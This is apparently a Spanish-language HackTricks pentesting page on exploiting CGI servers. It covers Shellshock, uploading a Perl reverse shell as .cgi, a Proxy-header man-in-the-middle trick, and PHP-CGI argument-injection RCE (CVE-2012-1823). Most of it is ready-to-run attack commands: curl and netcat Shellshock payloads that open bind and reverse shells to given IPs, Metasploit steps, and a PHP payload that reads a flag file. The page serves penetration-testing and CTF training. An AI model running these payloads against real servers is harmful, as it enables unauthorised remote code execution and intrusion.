6.6 KiB
Información
Los scripts CGI son scripts perl, por lo que si has comprometido un servidor que puede ejecutar scripts .cgi, puedes subir un shell inverso perl `/usr/share/webshells/perl/perl-reverse-shell.pl`
, cambiar la extensión de .pl a .cgi, darle permisos de ejecución `chmod +x`
y acceder al shell inverso desde el navegador web para ejecutarlo.
Para probar vulnerabilidades CGI, se recomienda usar nikto -C all
y todos los plugins
ShellShock
Bash también se puede usar para ejecutar comandos que se le pasan las aplicaciones y es esta característica la que afecta a la vulnerabilidad. Un tipo de comando que se puede enviar a Bash permite establecer variables de entorno. Las variables de entorno son valores dinámicos y nombrados que afectan a la forma en que se ejecutan los procesos en un ordenador. La vulnerabilidad radica en el hecho de que un atacante puede agregar código malicioso a la variable de entorno, que se ejecutará una vez que se reciba la variable.
Explotando esta vulnerabilidad, la página podría arrojar un error.
Podrías encontrar esta vulnerabilidad notando que está usando una versión antigua de Apache y cgi_mod con carpeta cgi
o usando nikto.
Prueba
La mayoría de las pruebas se basan en imprimir algo y esperar que esa cadena se devuelva en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflejado, ciego y out-of-band)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
Shellsocker es una herramienta que automatiza la explotación de la vulnerabilidad Shellshock en servidores web CGI. Esta herramienta utiliza una lista de objetivos y un archivo de carga útil para explotar la vulnerabilidad y obtener una shell remota en el servidor objetivo. Shellsocker también puede ser utilizado para realizar pruebas de penetración en servidores web CGI para detectar si son vulnerables a Shellshock.
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Explotación
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM para solicitudes al servidor web)
CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"
Como la variable HTTP_PROXY podría ser utilizada por el servidor web. Intente enviar un encabezado que contenga: "Proxy: <IP_atacante>:<PUERTO>" y si el servidor realiza alguna solicitud durante la sesión. Podrá capturar cada solicitud realizada por el servidor.
PHP antiguo + CGI = RCE CVE-2012-1823, CVE-2012-2311
Básicamente, si cgi está activo y php es "antiguo" <5.3.12 / < 5.4.2
se puede ejecutar código.
Para explotar esta vulnerabilidad, es necesario acceder a algún archivo PHP del servidor web sin enviar parámetros especialmente sin enviar el carácter "="
.
Luego, para probar esta vulnerabilidad, podría acceder por ejemplo a /index.php?-s
note el `-s`
y el código fuente de la aplicación aparecerá en la respuesta.
Luego, para obtener RCE puede enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input
y el código PHP a ejecutar en el cuerpo de la solicitud.
Ejemplo:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Más información sobre la vulnerabilidad y posibles exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Ejemplo de CTF Writeup.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.